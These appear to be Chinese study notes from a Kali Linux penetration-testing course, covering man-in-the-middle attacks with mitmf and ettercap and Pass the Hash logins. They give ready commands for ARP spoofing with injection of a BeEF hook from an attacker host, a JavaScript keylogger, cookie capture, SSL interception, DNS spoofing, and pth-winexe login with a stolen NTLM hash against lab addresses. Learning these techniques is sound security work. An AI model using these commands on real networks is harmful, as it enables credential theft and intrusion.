本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程
1. 中间人攻击
1. mitmf
简介
- 即使没有XSS漏洞,也可以凌空向每个HTTP请求中注入XSS攻击代码
- 一旦得手,影响范围巨大
- 如果中间人发生在运营商线路上,很难引起用户注意
曾经号称最好用的中间人攻击工具(kali 2.0后默认未安装)
# 安装环境 root@kali:~# apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file # 安装 mitmf root@kali:~# apt-get install mitmf root@kali:~# pip uninstall Twisted root@kali:~# wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2 root@kali:~# pip install ./Twisted-15.5.0.tar.bz2
启动beef
- cd /usr/share/beef-xss/
- ./beef
mitmf 中间人注入xss脚本
# 作为中间人连接网页并插入 js root@kali:~# mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --inject --js-url http://10.10.10.131:3000/hook.js
键盘记录器
# 键盘记录器 --jskeylogger root@kali:~# mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --jskeylogger
其他模块
# 图片:--upsidedownternet、--screen(/var/log/mitmf) root@kali:~# mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --upsidedownterne # cookie:--ferretng(cookie) root@kali:~# mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --ferretng # 浏览器及插件信息: --browserprofiler # smb:--smbtrap、--smbauth(不演示)
旁路 –hsts
- HTTP Strict Transport Security
- 防止协议降级、cookie窃取
- 安全策略通过HTTP响应头 “Strict-Transport-Security“实施
- 限制 user-agent、https 等
凌空插后门 –filepwn
- 用户下载的可执行程序在经过代理的时候,会被插入后门
2. ettercap
简介
- 统一的中间人攻击工具
- 转发 MAC 与本机相同,但 IP 与本机不同的数据包
- 支持 SSH1、SSL 中间人攻击
模块划分
- Snifer
- 负责数据包转发
- Unified
- 单网卡情况下独立完成三层包转发
- 始终禁用内核 ip_forward 功能
- Bridge
- 双网卡情况下的一层 MITM 模式
- 可作为 IPS 过滤数据包
- 不可在网关上使用(透明网桥)
MITM
- 把流量重定向到 ettercap 主机上
- 可以使用其他工具实现 MITM,ettercap 只作嗅探和过滤使用
- 实现MITM的方法
- ARP
- ICMP
- ICMP路由重定向,半双工
- DHCP
- 修改网关地址,半双工
- Switch Port Stealing
- flood目标地址是本机,源地址是受害者的包
- 适用于ARP静态绑定的环境
- NDP
- IPv6协议欺骗技术
Filter
- Log
- Plugin
- Snifer
特性
- 2.4以上内核对ARP地址欺骗的约束
- 收到非请求的 ARP 响应包,不更新本地 ARP 缓存
- Ettercap 使用ARP request 包进行攻击
- Solaris 不根据ARP包更新本地ARP缓存
- Ettercap 使用先发 ICMP 包来更新 ARP 缓存
- 2.4以上内核对ARP地址欺骗的约束
用户操作界面
- -T 文本界面图形
- -G 界面
- -C 基于文本的图形界面
- -D 后台模式
指定目标
- IPv4:MAC/IPs/Ports
- IPv6:MAC/IPs/IPv6/Ports
- /10.0.0.1−5;10.0.1.33/20−25,80,110
权限
- 需要root权限打开链路层Socket连接,然后使用nobody账号运行
- 日志写入目录需要nobody有写入权
- 修改etter.conf:EC_UID=65534
基于伪造证书的SSL MITIM
- Bridge模式不支持SSL MITM
- openssl genrsa −out etter.ssl.crt 1024
- openssl req −new−keyetter.ssl.crt −out tmp.csr
- openssl x509 −req −days 1825 −in tmp.csr −signkey etter.ssl.crt−out tmp.new
- cat tmp.new>>etter.ssl.crt
- rm −f tmp.newtmp.csr
ARP 中间人攻击
- 字符模式(arp 欺骗)
- ettercap -i eth0 -T -M arp -q /10.10.10.2// /10.10.10.133// -F 1.ef -P autoadd -w a.cap -l loginfo -L logall -m message
- 图形界面
SSL MITM
# 启用基于 SSL 的中间人攻击
vim /etc/ettercap/etter.conf
DNS欺骗
- dns_spoof插件配置文件
- vi /etc/ettercap/etter.dns
- 字符模式(arp 欺骗)
Ettercap 日志查看
- etterlog -p log.eci
- etterlog -c log.ecp
- etterlog -c -f /1.1.1.1/ log.ecp
- etterlog -B -n -s -F TCP:1.1.1.1:20:1.1.1.2:1234 log.ecp > aa 选择相应的连接并榨取文件
Filter
- /usr/share/ettercap/
- /usr/share/ettercap/etter.filter.ssh
SSH-2.xx / SSH-1.99 / SSH-1.51
- SSH-1.99 代表兼容 ssh-2 和ssh1,可以使用 Filter 来只使用 ssh-1,利于监听
- etterfilter etter.filter.ssh -o ssh.ef
替换HTTP内容
if (ip.proto == TCP && tcp.src == 80)
{ msg(“data on TCP 80\n”);
replace(“img src=”, “img src=\”http://1.1.1.1/1.gif\” “);
replace(“IMG src=”, “img src=\”http://1.1.1.1/1.gif\” “);
replace(“IMG SRC=”, “img src=\”http://1.1.1.1/1.gif\” “);
}其他欺骗
- ICMP
- -M icmp:00:11:22:33:44:55/10.0.0.1(真实网关的MAC/IP)
- DHCP
- −M dhcp:192.168.0.30,35,50−60/255.255.255.0/192.168.0.1(DNS)
- Port
- -M port /1.1.1.1/ /1.1.1.2/
- Ndp
- -M ndp //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/
- -
- ICMP
2. Pass the Hash (PTH)
简介
- 密码破解耗费时间资源巨大
- 使用密文提交给服务器直接完成身份认证
- NTLM/LM是没有加盐的静态HASH密文
- 企业中使用ghost等工具克隆安装系统
- pth-winexe -U w7%aad3b435b51404eeaad3b435b51404ee:ed1bfaeb3063 716ab7fe2a11faf126d8 //1.1.1.1 cmd
获取 win7 HASH 值
使用 kali live iso 登录win7
nc 传输
kali:nc -nvlp 333 win7:nc 10.10.10.131 333 结果:John:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
kali 使用 密文直接登录
root@kali:~# pth-winexe -U John%aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 //10.10.10.133 cmd